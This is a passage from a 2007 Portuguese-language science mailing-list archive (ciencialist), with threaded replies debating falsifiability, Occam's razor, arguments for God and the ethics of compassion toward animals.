entre dois modelos(acredito que seja pura lógica):

a) Taxas de acerto iguais e complexidade iguais.
b) Taxas de acerto iguais e complexidade diferentes.
c) Taxas de acerto diferentes e complexidade iguais.
d) Taxas de acerto diferentes e complexidade
diferentes.
d.i) Acerto de A maior que B e complexidade de A maior
que B.
d.ii)Acerto de A maior que B e complexidade de A menor
que B.
d.iii)Acerto de A menor que B e complexidade de A
maior que B.
d.iii)Acerto de A menor que B e complexidade de A
menor que B.

4 - Mais uma vez fica claro que a navalha de ocam é
uma "boa prática" e não uma lei que decide o que está
certo ou errado.

5 - Mais alguma coisa a ser posta nessa balança que
seja importante??


--- rmtakata <roberto.takata@bol.com.br> escreveu:

> --- Em ciencialist@yahoogrupos.com.br, Chicao
> Valadares
> > Mas como eu posso definir uma boa teoria??? Qual a
> > condição necessária e suficiente para uma teoria
> ser
> > considerada científica???
>
> Para Popper basta q seja refutável (mas, claro, não
> refutada). O termo
> de uso mais geral é "falseável". Uma proposição,
> para ser científica,
> deve poder ser mostrada falsa se uma dada condição
> ocorrer. Por
> exemplo, a proposição "vai chover amanhã nesta
> cidade" é científica.
> Pois se não chover, ela é falsa. A proposição "a
> água sempre ferve a
> 100oC" tb pode ser mostrada falsa, se, ao se aquecer
> a água, ela
> ferver a uma temperatura diferente de 100oC. E, na
> verdade, a água
> pode ferver a temperaturas diferentes (se a pressão
> local for maior ou
> menor do q 1 atm, ou se houver substâncias
> dissolvidas na água) -
> nesse caso não apenas a afirmação pode ser falsa,
> como ela de fato é
> falsa, e desse modo é descartada.
>
> Já a proposição "existem duendes indetectáveis no
> bolso de minha
> calça" não pode ser mostrada falsa em nenhuma
> circunstância. Se eu
> detectar duendes em meu bolso, não são os duendes de
> q falei. Se não
> detecto duendes em meu bolso, não sei se é porq os
> duendes de fato não
> são detectáveis ou se eles simplesmente não existem.
> (Recomendo a
> leitura de "O mundo assombrado pelos demônios" de
> Carl Sagan.)
>
> > Certo mas do ponto de vista lógico não dá pra
> dizer se
> > é o id/superego ou os duendes. Nada impede a
> priori de
> > se ter algo mais complexo como o causador do
> fenômeno.
>
> Não é questão de impedimento aqui, mas sim de uma
> explicação simples
> vs uma explicação complexa para entender o mm
> fenômeno.
>
> ----------
> Em termos práticos, uma boa teoria é aquela q faz
> predições testáveis.
> Se eu tenho um modelo climático ípsolon q prevê com
> acurácia em 90%
> dos casos e outro modelo dábliu que prevê com
> acurácia em 95% dos
> casos, eu preferiria o modelo dábliu. (Embora, em
> certas ocasiões
> possa lançar mão do modelo ípsolon - por exemplo, se
> ele for mais
> simples e 90% seja uma taxa aceitável de acerto. É o
> q ocorre por
> exemplo com o modelo de gravitação newtoniana, q
> pode ser usada para
> calcular trajetórias de foguetes, a despeito da
> gravitação einsteniana
> ser muito mais acurada.)
>
> [Então, de minha parte, se um modelo incorpora
> gnomos e com isso é
> capaz de prever fenômenos naturais com uma precisão
> maior do q os
> modelos científicos, eu direi: "dane-se a ciência
> como tal!".]
>
> []s,
>
> Roberto Takata


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: Sobre o Método Cientifico
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/03/2007 20:37

Olá Chicão

Chicão: "1 - E se o modelo fizer previsões com uma taxa de acertos
alta e não for falseável???"

Isso não é possível, por definição. Uma das formas de ser "falseável"
é fazer previsões. Talvez devesse dar especial atenção ao conceito de
falseável, o que significa ser falseável, Chicão.

Se uma teoria faz uma previsão e ela se mostra correta, a teoria se
torna mais confiável, mais próxima de ser correta. Mas a simples
possibilidade de "falhar" na previsão É a falseabilidade.

Para entender melhor, pense em qualquer previsão de uma teoria. Por
exemplo, as equações de Einstein previam que, se fossem corretas, a
luz de uma estrela ao passar ao lado de um corpo massivo como outra
estrela, devido a seu fortíssimo campo gravitacional, apresentaria a
observadores uma "curvatura", pois tenderia a se mover de acordo com o
espaço, em linha reta, e este estaria "curvado".

Em um eclipse solar, anos depois, essa curvatura, indicada pela
posição incorreta de uma estrela atrás do nosso Sol, foi detectada, o
que indicava a precisão das equações.

Mas, ao propor a previsão sobre a curvatura do espaço e
consequentemente da luz naquelas condições, isso criou a possibilidade
de ser falseada a teoria: se ao medir a posição da estrela atras do
Sol, ela NÃO se encontrasse incorreta, isso demonstraria uma falha na
teoria ou nas equações.

Mesmo uma teoria completamente verdadeira, mesmo uma teoria 100%
verdadeira, que ainda não foi produzida, pode ser falseável, ou seja,
seria possível demonstra-la falsa de alguma forma, se fizesse previsões.

Chicão: "4 - Mais uma vez fica claro que a navalha de ocam é uma "boa
prática" e não uma lei que decide o que está certo ou errado. "

Que bom que isso ficou claro..:-) Ao basear escolhas e desdobramentos
na teoria mais "simples" ou com menos elementos desnecessários,
estamos restringindo a possibilidade de errar, até que mais dados
estejam disponíveis e possamos ter novas e mais precisas teorias.

Se começar um estudo pela teoria MAIS complexa, embora exista uma
menos complexa igualmente eficaz, estará atrasando e complicando a
solução do problema.

Se escolhe a mais simples, e no decorrer do estudo descobre um dado
novo, sempre poderá aumentar a complexidade ou precisão desta teoria,
sem perder tempo descobrindo qual dado extra desnecessário estaria
causando o erro.

Um abraço.

Homero





SUBJECT: Re: [ciencialist] Re: P/ Ferrari - : Sobre o Método Cientifico - adinfinitum e adloc
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/03/2007 21:50

Ferrari:
Já tive sitio: nada melhor....

Tenho um excelente casal de sacis para vender. Caso interesse, para fazer uma criação, vamos negociar.

um abraço,

silvio
----- Original Message -----
From: Ferrari
To: ciencialist@yahoogrupos.com.br
Sent: Monday, March 19, 2007 5:27 PM
Subject: [ciencialist] Re: P/ Ferrari - : Sobre o Método Cientifico - adinfinitum e adloc


Olá Homero!

Talvez lhe pareça que não venha ao caso o que vou
começar dizendo, talvez o chicão vá dizer que é "ad
loc"... hehehe... mas já que estamos todos no mesmo
barco, e já que deus não joga dados, e já que o
assunto é ad infinitum, vamos lá....

Atualmente moro em um sitio. Meu trabalho é cuidar do
sitio. Sendo este sitio um local agricula e pecuario,
meu trabalho é de interação com estes ciclos da
natureza. O sitio tem sido meu laboratório. Bem,
porque digo isto? Por 3 motivos, primeiro porque não
precisamos fazer de nada um cavalo de batalha, pois
estamos no mesmo barco, e assim como nos ensinam as
vacas: tudo vira bosta. ad infinitum... Hehehhehe...
Segundo porque não tem como ser dogmático com a
natureza, as vacas, as galinas, a cana de açucar, o
milho, etc, a natureza não está nem ai pros nossos
dogmas. Terceiro, porque lá no sitio não tem
internet... hehehehe... assim não teremos muito mais
tempo pra ficar brigando aqui, pois volto pro sitio
hoje a noite. Bem, ad loc e ad infinitum resolvidos,
vou comentar sua resposta:

Homero >>> Todas suas respostas são identicas..:-)

--- isto porque todas as perguntas eram identicas,
apenas semanticamente diferentes.

Homero >>> Mas, tente substituir o termo "deus" por
"monstro espagute voador" ou por "Papai Noel" ou por
"ETs extradimensionais superpoderosos", ou por
"duendes e fadas" e perceberá o absurdo que elas
representam.

--- Incrivel, né? Funciona do mesmo jeito. O que será
que este fato que vc está observando quer dizer? Eu
sei! Eu sei! E vc, sabe? Por favor, não estou
brincando com isto pra me dar de gostoso, mas para lhe
instigar na investigação do que vc próprio está
observando. Eu realmente tenho uma resposta sobre o
que este fato que vc está pontuando quer dizer, mas se
lhe disser antes de vc investigar por si mesmo, mato o
cientista em vc. Então volto a perguntar: o que será
que este fato que vc está observando quer dizer?

Homero >>> Fala sério..:-)

--- Sim e não. A parte que eu estiver argumentando é
sério sim, o resto é um ser humano conversando
conversando com outro, o stress não ajuda na conversa,
pelo contrário.

Homero >>> Séculos de filosofia e teologia, para
terminar com uma bobagem dessas como argumento,
Ferrari? Apenas um "apelo a fé" dos mais ingenuos e
sem sentido?

--- Não é apelo a fé, é um argumento lógico. vamos lá,
por etapas:

1) se vc existe é porque vc existe. se vc não
existisse vc não existiria.
2) se vc existe mas vc não é a causa da sua própria
existencia
3) logo:
4) existe uma causa que faz (quer) que vc exista
5) logo
6) vc existe porque esta causa quer
7) logo
8) nada de fé, apenas lógica

Homero >>> > Acho que pode fazer melhor.

--- se deus assim quiser, com certeza. hehehe...

Homero >>> "É assim, porque deus quer que seja" é
mais tola e simplória fuga lógica que a teologia
permite, Ferrari.

--- Simples, sim. Fuga, não.

Homero >>> Não há nenhuma evidência a sustentar essa
alegação, nenhuma evidência de que deus "queira" algo,
ou mesmo que exista.

--- Que tal a vida? Serve? Que tal ação e
consequencia? Pode ser? Que tal o movimento? O tempo?
A repetição? A sequencia? A sincornicidade? A
entropia? Tá bom, ou quer mais?

Homero >>> Vale tanto quanto "é assim, porque o
Ferrari quer".

--- Bem, tudo depende do que vc quer dizer quando usa
a palavra "ferrari". Defina ferrari? hehehehe...

Homero >>> foi colocado, pelo Chicão, que, se
continuar a perguntar o "porque" para a ciência, ela
"quebra as pernas" pois vai ter de parar em algum
momento sem resposta.

--- E que momento é este? Vc sabe? Eu sei! Eu sei!
Hehehehe... Novamente temos aqui uma observação digna
de uma investigação cientifica. Quem se dará ao
trabalho? Talvez seja uma investigação que não dê
dinheiro como o Takata diz, mas é um fato, uma
observação passivel de se fazer ciencia, porque não?
Porque buscar apenas nos livros, porque não investigar
as próprias observações?

Homero >>> É possível continuar a série infindável de
perguntas "por que" como, porque deus existe. Quem
criou deus. Porque quem criou deus existe e quem criou
quem criou deus.

--- Tem certeza? Porque tem certeza?

Homero >>> Pense, o que responde uma frase como essa:
"é assim por que deus quer"? Nada, nadica de nada..:-)

--- Homero, concordo! Concordo completamente. Concordo
do começo cabelo até o fim da unha do dedão. Mas, nem
por isto, DEIXA DE SER VERDADE.

abçomano
ferrari

- - - - - - - - - - - - - - -

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SUBJECT: Re: [ciencialist] Re: P/ Silvio- Crueldade com animais
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/03/2007 22:54

Silvio!!!
Boas falas!
Tocaquí mermão...


>From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>CC:
><Conversa_de_Botequim@yahoogrupos.com.br>,<Acropolis_@yahoogrupos.com.br>
>Subject: Re: [ciencialist] Re: P/ Murilo - Crueldade com animais
>Date: Sun, 18 Mar 2007 10:52:43 -0300
>
>Homero:
>
>Ter "compaixão" (Pesar que em nós desperta a infelicidade, a dor, o mal de
>outrem; piedade, pena, dó, condolência.}
>pela morte ou sofrimento de um ser vivo é uma condição humana pessoal e
>depende mais dos usos consuetudinários: Os diversos grupamentos humanos têm
>enormes diferenças sobre como tratar os animais - um país, como a Espanha
>pessoas "educadas" apreciarem a tauromaquia é inconcebíbel para uma pessoa
>racional... e eles são racionais: apenas receberam uma educação
>diferenciada com referência a essa prática: nos demais atos civilizados têm
>comportamento idêntico aos demais grupamentos ocidentais.
>As baratas, os ratos, cupins, animais peçonhentos por instinto de defesa da
>pessoa e de seus bens, esses e outros animais têm de ser eliminados por
>ameaçar a saúde e a economia dos humanos que são os animais que dominarom
>o mundo (por enquanto).
>É sobrelevada, ela, a compaixão, pelo instinto atávico de defesa.
>
>No mundo atual se os humanos não respeitam nem os de sua própria espécie -
>a miséria e as doenças recobrem os humanos - essa de ter dó de animais
>passa mais pela vaidade, pelo desejo de se mostrar "diferente": quem diz
>ter um dó de animais possivelmente jamais ajudou de forma eficáz outros
>irmãos seus.
>
>
>Amém.....
>
>silvio.
>
>----- Original Message -----
> From: oraculo333
> To: ciencialist@yahoogrupos.com.br
> Sent: Saturday, March 17, 2007 10:36 PM
> Subject: [ciencialist] Re: P/ Murilo - Crueldade com animais
>
>
> Olá Murilo
>
> Murilo: "Caramba, Horáculo...
> Vc já foi melhor! Frente à realidade estabelecida há milhões de anos,
> ela só está falando de algo denominado de ''empatia'', ou
>''compaixão''."
>
> Bem, eu tenho um bocado de empatia e compaixão..:-) Mas realmente
> quero saber é em que ponto devemos colocar a linha que divide a
> aplicação concreta dessa compaixão.
>
> Por exemplo, a compaixão por um lindo coelhinho deve ser a mesma
> daquela que devemos ter por um rato? Ou uma barata? Ou lombrigas?
>
> Em algum momento, sob pena de tornar o argumento absurdo, temos de
> relativizar essa compaixão, não?
>
> Agora, o que a realidade de milhões de anos tem a ver com esta
> questão? Também não é uma pergunta retórica, eu realmente queria saber
> sua resposta sobre isso.
>
> Por exemplo, as doenças se desenvolvem e evoluem há milhões de anos, e
> nenhum dos seres vivos que as causam tem a menor compaixão ou mesmo a
> menor idéia do que isso seja.
>
> Um abraço.
>
> Homero
>
> --- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> <avalanchedrive@...> escreveu
> >
> > Caramba, Horáculo...
> > Vc já foi melhor!
> > Frente à realidade estabelecida há milhões de anos, ela só está
> falando de
> > algo denominado de ''empatia'', ou ''compaixão''.
> > abr/M.
> >
> >
> > >From: "oraculo333" <oraculo@...>
> > >Reply-To: ciencialist@yahoogrupos.com.br
> > >To: ciencialist@yahoogrupos.com.br
> > >Subject: [ciencialist] P/ Bruna - Crueldade com animais
> > >Date: Sat, 17 Mar 2007 19:36:14 -0000
> > >
> > >Olá Bruna
> > >
> > >Bruna: "A ética universal está na razão de darmos a mesma a
> > >consideração ao sofrimento de outros seres como damos ao nosso
>próprio
> > >sofrimento, independente da espécie, do sexo e das habilidades
> > >intelectuais."
> > >
> > >Primeiro, permita-me perguntar, Por que? Por que é assim? E se eu não
> > >acreditar em você, como pretende provar que é assim? Ou é apenas uma
> > >questão de crença, devemos acreditar em você e pronto?
> > >
> > >Quer dizer, de onde tirou tal informação, que é uma das mais
> > >importantes e mais polêmicas da filosofia, a existência ou não de uma
> > >ética universal? Como só você encontrou a resposta, que tem dividido
>e
> > >assombrado filósofos por séculos?
> > >
> > >Seria interessante saber como chegou a essa conclusão, o que a
>embasa,
> > >quais as evidências, etc. Poderia resolver grandes problemas
> > >filosóficos do ser humano.
> > >
> > >Em segundo, fiquei curioso com este trecho em especial, em relação a
> > >parte prática, a forma de aplicar esse, generoso, princípio:
> > >
> > >Bruna: "independente da espécie, do sexo e das habilidades
> intelectuais."
> > >
> > >Todos os seres vivos, independente da espécie? E das habilidades
> > >intelectuais? Por exemplo, baratas estão incluídas, e devemos agir
> > >pensando em sua "dor"? E Streptococcus, que causam pneumonia?
> > >
> > >E animais selvagens, devemos destruir todas as cidades, para que
> > >possam voltar a habitar seus ambientes originais?
> > >
> > >E ratos, devemos impedir que sejam mortos nas cidades, pensando em
>sua
> > >"dor"?
> > >
> > >Se eu tiver uma infecção de pele, devo evitar de aplicar remédios que
> > >causem a morte dos micro-organismos que habitam ali? Se pegar
> > >lombrigas, não posso tomar remédios que causem dor e morte a elas? As
> > >pessoas que vivem em áreas da África assoladas por doenças como
> > >elefantíase, não podem aplicar as drogas que matam as moscas
> > >transmissoras?
> > >
> > >Por favor, não é uma pergunta retórica ou uma armadilha, eu realmente
> > >quero saber como pretende aplicar sua alegação a casos concretos, já
> > >que não há nela nenhuma limitação ou forma de decidir a linha de
> "corte".
> > >
> > >Se considerarmos a dor de TODOS os seres vivos, independentemente de
> > >qualquer outra coisa, espécie ou capacidade intelectual, como devo
> > >agir nos casos concretos que citei?
> > >
> > >Um abraço.
> > >
> > >Homero
> > >
> > >
> > >--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> > ><brunacribas@> escreveu
> > > >
> > > > A ética universal está na razão de darmos a mesma a consideração
>ao
> > >sofrimento de outros seres como damos ao nosso próprio sofrimento,
> > > > independente da espécie, do sexo e das habilidades intelectuais.
> > > >
> > > > Abraços,
> > > >
> > > > da Bruna
> > > >
> > > >
> > > > José Renato <jrma@> escreveu:
> > >Chicão, sou-lhe grato pela troca de idéias. Mas vale perguntar: como
> > >vamos
> > > > achar a ética universal se não a procurarmos? Parece-me que a
> > >questão está
> > > > muito menos em encontrá-la, do que na força necessária para
> > >considerá-la e
> > > > praticá-la. Estamos esgotados por tantas solicitações que não nos
> > >sobra
> > > > energia para sermos o que dizemos ser: homo sapiens-sapiens.
> > > > []s
> > > > José Renato
> > > > .............................................
> > > >
> > > > From: "Chicao Valadares" <chicaovaladares@To:
> > > > <ciencialist@yahoogrupos.com.br>
> > > > Sent: Monday, March 12, 2007 12:07 PM
> > > > Subject: Re: Fw: [ciencialist] Crueldade com animais
> > > >
> > > > > JR vou parar por aqui. Enquanto não acharmos a ética
> > > > > universal vamos ficar apenas nos achismos e no plano
> > > > > da retórica. Foi proveitosa toda essa polêmica. Essa
> > > > > história de escolha lembra aquele velho dilema entre
> > > > > determinismo e acaso. Mas isso fica pra um outro
> > > > > debate....
> > > > >
> > > > > Abraços.
> > > > >
> > > > > --- José Renato <jrma@> escreveu:
> > > > >
> > > > >> Olá, Chicão! Essa é uma questão de escolha... A
> > > > >> nossa vida é construída,
> > > > >> destruída ou mantida por permanentes escolhas que
> > > > >> fazemos e pelas decisões
> > > > >> que tomamos. Encontrar as melhores decisões e
> > > > >> escolhas para cada situação é
> > > > >> a pedra de toque que os sábios buscam há tempos.
> > > > >> Como elas são praticamente
> > > > >> infinitas alguns roteiros básicos são copilados para
> > > > >> orientações gerais. Mas
> > > > >> no particular, cada um vai ter de optar, escolher e
> > > > >> decidir. Ou deixar que
> > > > >> decidam por nós.
> > > > >> Faço outros comentários no corpo do e-mail, após
> > > > >> JR2, OK?
> > > > >> ..............................................
> > > > >> From: "Chicao Valadares" <chicaovaladares@To:
> > > > >> <ciencialist@yahoogrupos.com.br>
> > > > >> Sent: Thursday, March 08, 2007 4:22 PM
> > > > >> Subject: Re: Fw: [ciencialist] Crueldade com animais
> > > > >>
> > > > >>
> > > > >> > JR, minhas respostas seguem depois do ">>>>>".
> > > > >> >
> > > > >> > JR1 - Dor e prazer são sinais sensíveis relativos.
> > > > >> O
> > > > >> > atleta sofre muito durante a preparação para bater
> > > > >> > seus recordes com a intenção de ter o prazer de
> > > > >> > possuir uma medalha de ouro, seu nome nos anais,
> > > > >> > valorização,
> > > > >> > admiração, etc. Dor e prazer não são indicativos
> > > > >> > absolutos. Muitas vezes o prazer de comer uma
> > > > >> caixa de
> > > > >> > chocolate acaba mal. Esse equilíbrio nas atitudes
> > > > >> já
> > > > >> > era perseguido por Sócrates com muito empenho.
> > > > >> Perceba
> > > > >> >
> > > > >> > que buscar a felicidade, a glória e o gozo é o
> > > > >> > objetivo maior e legítimo do ser humano. As
> > > > >> > dificuldades ocorrem quando minha visão é curta e
> > > > >> > atropelo tudo que de bom possuo para obter isso. A
> > > > >> > troca é prejudicial a
> > > > >> > mim e a todos que uso ou despacho para obter a
> > > > >> > felicidade a qualquer custo. Vou postar uma
> > > > >> reflexão
> > > > >> > que fiz sobre isso, provocada há tempos
> > > > >> > pelo Bulcão, na lista Acropolis.
> > > > >> >
> > > > >> >>>>>>Concordo com a relatividade.
> > > > >> >
> > > > >> >
> > > > >> > JR1 - Mas quando o ser humano toma consciência de
> > > > >> sua
> > > > >> > existência passa a buscar viver de verdade, ter um
> > > > >> amor de
> > > > >> > verdade, ser feliz de verdade... Ilusões distraem
> > > > >> e confortam
> > > > >> > durante algum tempo. Mas o bom mesmo é
> > > > >> > a realidade com todas as sua conseqüências.
> > > > >> >
> > > > >> >>>>>>O que é verdade??? A realidade é boa porque dá
> > > > >> > prazer??? Eu posso na MATRIX fazer com que voce
> > > > >> saiba mais
> > > > >> > verdades que uma pessoa comum. Com isso você
> > > > >> pensaria
> > > > >> > que conhece a realidade e seria bom para você.
> > > > >> > Não gostaria de entrar na MATRIX???
> > > > >> JR2 - Parece que o que faço o tempo todo é tentar
> > > > >> sair dela, da geléia geral
> > > > >> em que estamos vivendo, da ilusão manipulada pelos
> > > > >> meios de comunicação
> > > > >> acionados pelos interesses comerciais e políticos.
> > > > >> Viver na realidade ou na
> > > > >> verdade dá mais segurança, harmonia,
> > > > >> tranquilidade... O melhor em tudo é não
> > > > >> confundir o imaginado e o sonhado com a Realidade. É
> > > > >> isso que a Ciência
> > > > >> busca.
> > > > >> >
> > > > >> > JR1 - Viver de mentirinha é o que já faço de
> > > > >> diversas
> > > > >> > maneiras e em diversas ocasiões. Mas os meus
> > > > >> melhores
> > > > >> > momentos da vida vieram através da realidade e da
> > > > >> > lucidez em percebê-la. Nela me realizo.
> > > > >> >
> > > > >> >>>>>>Não gostaria de entrar na MATRIX???
> > > > >> JR2 - De algum modo já estamos nela. O que procuro é
> > > > >> sair dela.
> > > > >> >
> > > > >> > JR1 - É o que todos os "espertos e sabidórios"
> > > > >> > fazem... Quanto a não
> > > > >> > ser punido ou não sentir remorsos não é uma
> > > > >> certeza
> > > > >> > obtida de antemão.
> > > > >> > Quando menos se espera vem a tal crise existencial
> > > > >> e
> > > > >> > aí o cara se
> > > > >> > constata um merda, mentiroso, falso, safado, lixo,
> > > > >> > traidor, etc. e nem sabe
> > > > >> > mais quem ele é de fato no meio de tanta falsidade
> > > > >> e
> > > > >> > mentira.
> > > > >> >
> > > > >> >>>>>>Todas as pessoas não são assim. Existem
> > > > >> aquelas
> > > > >> > que não sentem nenhum remorso em fazer ações
> > > > >> > consideradas más.
> > > > >> JR2 - Alguns sentimentos são inatos. Prejudicar
> > > > >> conscientemente alguém gera
> > > > >> no fundo uma reflexão tipo "e se ele fizesse isso
> > > > >> para mim" que vai geram um
> > > > >> sentimento semelhante ao que chamamos de remorso. Em
> > > > >> estudos dos diversos
> > > > >> órgãos ou componentes do nosso sistema cognitivo
> > > > >> identifica-se regiões onde
> > > > >> estão os "bancos de dados" e procedimentos de
> > > > >> avaliação ética-moral. Célebre
> > > > >> é o caso do trabalhador que sofreu dano no célebro
> > > > >> provocado por um prego
> > > > >> disparado por uma pistola pneumática. Penetrou na
> > > > >> cabeça, mas ele continuou
> > > > >> consciente e aparentemente não prejudicou em nada
> > > > >> seus movimentos e
> > > > >> atividades intelectuais. Após a remoção do prego,
> > > > >> recuperação e volta ao
> > > > >> trabalho, observou-se que o cara estava com um
> > > > >> comportamento diferente,
> > > > >> aético, entrão, imoral, inconveniente... A partir
> > > > >> daí começou-se a fazer
> > > > >> testes mais acurados sobre o funcionamento dessa
> > > > >> região afetada e de outras
> > > > >> regiões do cérebro.
> > > > >> >
> > > > >> > JR1 - Prejudicar, sacanear ou fazer mal a alguém
> > > > >> pode
> > > > >> > dar algum prazer, algum tipo de emoção forte. Os
> > > > >> > cruéis patológicos têm orgasmos ao praticar
> > > > >> violência,
> > > > >> > mas é um distúrbio mental que não me parece grande
> > > > >> > coisa desejar possuir. Quanto à vontade de usar
> > > > >> minha
> > > > >> > experiência de vida para discernir o que é melhor,
> > > > >> o
> > > > >> > que deve ser evitado e o que precisa ser superado,
> > > > >> é
> > > > >> > um exercício diário que requer tempo, coragem e
> > > > >> > reflexão. Cometer os mesmos erros ou o erro dos
> > > > >> outros
> > > > >> > burrice em dobro. Prefiro tentar algo diferente e
> > > > >> que tenha
> > > > >> > alguma chance de obter melhores resultados...
> > > > >> >
> > > > >> >>>>>> E os cruéis não patológicos??? O resto que
> > > > >> você
> > > > >> > disse é relativo.
> > > > >> JR2 - Em sã consciência somos capazes das maiores
> > > > >> crueldades e das maiores
> > > > >> generosidades. Ilude-se quem acha que não é capaz de
> > > > >> fazer alguma ignomínia.
> > > > >> Basta estar na situação adequada para praticá-la. E
> > > > >> como sempre consideramos
> > > > >> algum ponto de referência pode estar certo que não
> > > > >> só o resto como tudo o
> > > > >> mais é relativo a esse ponto. Em geral, procura-se
> > > > >> um ponto ótimo
> > > > >> inatingível como referência ou norte.
> > > > >> >
> > > > >> > JR1 - Mas, Chicão, não é esse objetivo que nos
> > > > >> ilude
> > > > >> > desde sempre? O crime perfeito! E cada vez mais se
> > > > >> > sofistica as formas burlar, de modo a ser à prova
> > > > >> de
> > > > >> > qualquer investigação, até que alguém de dentro do
> > > > >> > esquema se sente enganado e, antes de ser
> > > > >> eliminado,
> > > > >> > denuncia(RJ) ou mesmo o burlador se rende à
> > > > >> > verdade(NSN) ou por vaidade abre o bico(SN,ACM).
> > > > >> >
> > > > >> >>>>>> Isso também não poderá acontecer e as coisas
> > > > >> > ficarem sob segredo.
> > > > >> > Você disse que ser bom era mais vantajoso. Devemos
> > > > >> ser
> > > > >> > bons porque é mais vantajoso??? Isso depende. Ser
> > > > >> mau
> > > > >> > também pode ser vantajoso ao invés de ser bom.
> > > > >> Note
> > > > >> > que o príncipio aqui é o do ganho(teoria dos
> > > > >> jogos).
> > > > >> > Então ambos são duas faces de uma mesma moeda. Por
> > > > >> > esse principio você é igual às siglas. [ ... ]
> > > > >> JR2 - É o jogo do ganha-ganha... É mais vantajoso a
> > > > >> longo prazo quando todos
> > > > >> ganham, e essa possibilidade deve ser considerada e
> > > > >> buscada permanentemente.
> > > > >> No perde-ganha vc não vive em paz. Alguém vai querer
> > > > >> tirar o que vc já
> > > > >> ganhou prejudicando ou não prejudicando outras
> > > > >> pessoas. Esse é o normal na
> > > > >> maioria das nossas comunidades.
> .
>
>
>
>[As partes desta mensagem que não continham texto foram removidas]
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: RE: [ciencialist] Re: P/ Oraculo - Crueldade com animais
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/03/2007 22:56

( + 1 tentativa p/o Horáculo dizer alguma coisa, mesmo espremido.)


>To: ciencialist@yahoogrupos.com.br
>Subject: RE: [ciencialist] Re: P/ Oraculo - Crueldade com animais
>Date: Sun, 18 Mar 2007 20:44:03 -0300
>
>Sim, Oráculo,
>vc já foi melhor.
>
>Compaixão e empatia é assim: vc tem ou não tem. Se não tem, fica difícil
>entender.
>A lombriga e os ratos, os bodes, papagaios, leões, virus, ninguém tem
>compaixão... no máximo alguma solidariedade perante algum filhote indefeso.
>
>Os seres humanos sim, COSTUMAM TER, e isso é AQUELE diferencial entre nós e
>as feras; e que deveria ser conservado e cultivado.
>
>*Não é só* porque a lei da sobrevivência neste planeta manda que uns morram
>para que outros vivam, num ciclo onde há lugar e vez para todos, em que as
>espécies sobrevivem e os indivíduos passam, que não deve haver emoção e
>sentimentos empáticos. ( isso responde bastante do que vc quer saber. )
>
>Se eu tivesse nas mãos um produto para *erradicar* os ratos dos esgotos, ou
>as lombrigas e seus ovos de todas as bundas, fezes e águas, esteja seguro,
>eu não o usaria, mesmo sendo eu o mais forte.
>
>E se eu fosse um político, que usa as pessoas e suas vidas como matéria
>prima e massa de manobra, o que eu faria com as lombrigas, se tivesse o
>hipotético produto? Logicamente, como político, se houvesse algum proveito
>próprio, arrogantemente eu mataria qualquer coisa p/sempre.
>
>Mas acontece que BÁSICA e estruturalmente a cabeça da Bruna é a mesma do
>político fera, ou qualquer outro brutal que anda por aí.
>
>A cabeça e a consciência da Bruna é que são muito mais depuradas, mais
>elevadas e mais evoluídas, e isso deve ser cultivado e admirado, pq
>trata-se
>do seu diferencial perante as feras.
>
>Mesmo que a Bruna saiba, E SABE, que é impossível NÃO MATAR no planeta, ela
>busca uma solução, e este impulso de busca é o começo de qualquer solução.
>TALVEZ ela mesma não tenha avaliado como é que surgem estas coisas em sua
>mente benevolente, mas que é algo muito refinado, não há como negar.
>
>A matança vai continuar... nosso cérebro é energia pura... nossa saúde está
>cada vez melhor, mas graças às Brunas já existe UMA CONSCIÊNCIA de que
>devemos matar apenas *o suficiente*, ou o *menos possível*.
>
>Ainda é querer muito de uma humanidade que também mata a sí mesma, mas já
>podemos entender que NÃO se trata de algo impossível.
>abr/Murilo SP 18/març07
>
> >From: "oraculo333" <oraculo@atibaia.com.br>
> >Reply-To: ciencialist@yahoogrupos.com.br
> >To: ciencialist@yahoogrupos.com.br
> >Subject: [ciencialist] Re: P/ Murilo - Crueldade com animais
> >Date: Sun, 18 Mar 2007 01:36:53 -0000
> >
> >Olá Murilo
> >
> >Murilo: "Caramba, Horáculo...
> >Vc já foi melhor! Frente à realidade estabelecida há milhões de anos,
> >ela só está falando de algo denominado de ''empatia'', ou ''compaixão''."
> >
> >Bem, eu tenho um bocado de empatia e compaixão..:-) Mas realmente
> >quero saber é em que ponto devemos colocar a linha que divide a
> >aplicação concreta dessa compaixão.
> >
> >Por exemplo, a compaixão por um lindo coelhinho deve ser a mesma
> >daquela que devemos ter por um rato? Ou uma barata? Ou lombrigas?
> >
> >Em algum momento, sob pena de tornar o argumento absurdo, temos de
> >relativizar essa compaixão, não?
> >
> >Agora, o que a realidade de milhões de anos tem a ver com esta
> >questão? Também não é uma pergunta retórica, eu realmente queria saber
> >sua resposta sobre isso.
> >
> >Por exemplo, as doenças se desenvolvem e evoluem há milhões de anos, e
> >nenhum dos seres vivos que as causam tem a menor compaixão ou mesmo a
> >menor idéia do que isso seja.
> >
> >Um abraço.
> >
> >Homero
> >
> >
> >
> >
> >
> >--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> ><avalanchedrive@...> escreveu
> > >
> > > Caramba, Horáculo...
> > > Vc já foi melhor!
> > > Frente à realidade estabelecida há milhões de anos, ela só está
> >falando de
> > > algo denominado de ''empatia'', ou ''compaixão''.
> > > abr/M.
> > >
> > >
> > > >From: "oraculo333" <oraculo@...>
> > > >Reply-To: ciencialist@yahoogrupos.com.br
> > > >To: ciencialist@yahoogrupos.com.br
> > > >Subject: [ciencialist] P/ Bruna - Crueldade com animais
> > > >Date: Sat, 17 Mar 2007 19:36:14 -0000
> > > >
> > > >Olá Bruna
> > > >
> > > >Bruna: "A ética universal está na razão de darmos a mesma a
